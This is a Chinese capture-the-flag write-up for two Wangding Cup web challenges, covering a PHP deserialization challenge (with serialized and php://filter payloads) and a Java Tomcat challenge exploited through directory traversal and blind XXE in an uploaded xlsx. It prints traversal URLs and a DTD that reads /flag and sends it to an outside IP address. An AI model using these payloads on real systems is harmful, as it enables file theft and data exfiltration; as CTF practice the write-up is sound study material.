网鼎杯web-反序列化,java

反序列化

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

阅读源码后可以发现,这道题过滤的内容比较少,相对简单,但是我一开始还是没做出来,菜。
方法一:利用php7.1+特性,对属性类型不敏感,本地构造的时候把protected换成public构造即可。
O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:8:”flag.php”;s:7:”content”;s:1:”t”;}
右键查看源码即可。
方法二:在利用php7.1+特性的基础上,利用php伪协议,php://filter/convert.base64-encode/resource=flag.php获取flag.php文件内容。
得到内容为PD9waHAgJGZsYWc9J2ZsYWd7YzI0NmJmMzEtOGM3Zi00M2FhLTliY2QtMGY2NDVlNTk2NWQxfSc7Cg==
然后base64解码即可。
<?php $flag=’flag{c246bf31-8c7f-43aa-9bcd-0f645e5965d1}’;

java file

这道题拿到手没什么思路,看了师傅们的wp继续做,知道了是目录穿越。
首先明白tomcat部署项目的文件结构:
部署在webapps文件夹下,其下每个文件夹代表一个项目。

classes文件夹下存放基本类,servlet等文件。
首先随便传个文件,发现了servlet的名字。
首先要获取web.xml文件,看看文件结构是怎样的,然后再把对应的东西下载下来
使用../不断返回上级目录,最后是/web.xml
payload:DownloadServlet?filename=../../../web.xml
下载下来之后发现了几个servlet文件,对应应该是classes/xxxx.servlet.class(注意前面还有包名)
下载servlet.class文件:payload:
?filename=../../../classes/cn/abc/servlet/UploadServlet.class
这样子把四个servlet下载下来,然后反编译阅读源码

这是下载的servlet,注意看过滤了flag,不能通过目录穿越直接穿越到根目录下载flag文件。
继续看上传servlet,
关键代码:

1
2
3
4
5
6
7
8
9
10
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException var20) {
System.err.println("poi-ooxml-3.10 has something wrong");
var20.printStackTrace();
}
}

这里可能存在XXE漏洞,遂测试。
excel文件需要以excel-开头。
由于是在buuoj复现,所以不可以用外网vps,只能用内网vps,用另外一个号再开一个ssh连着。。。卡了俩小时
XXE我也不是很了解,后续会继续学习。
这里跟着师傅们先复现:
大体思路就是xml文件加载外部实体,加载的外部实体里面会”包含”(我是这么理解的)本地flag文件,然后向vps发送一个请求,参数把flag文件带出去。
dtd文件:

1
2
3
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://174.1.87.39:8888/?%file;'>">
%all;

xml中新添加的内容:

1
2
<!DOCTYPE data SYSTEM "http://174.1.87.39/1.dtd">
<data>&send;</data>

这里有个坑 就是在Windows系统下不要解压,直接修改后缀然后用360压缩在压缩文件内修改,再把扩展名改回去。
改好之后服务器监听端口,上传文件。

结束。

总结

XXE不太熟,需要再学习,目录穿越想到了,但是没成功利用,再有就是我看的目录结构看的是java web项目的目录结构,而不是tomcat部署的目录结构,所以也没利用成功。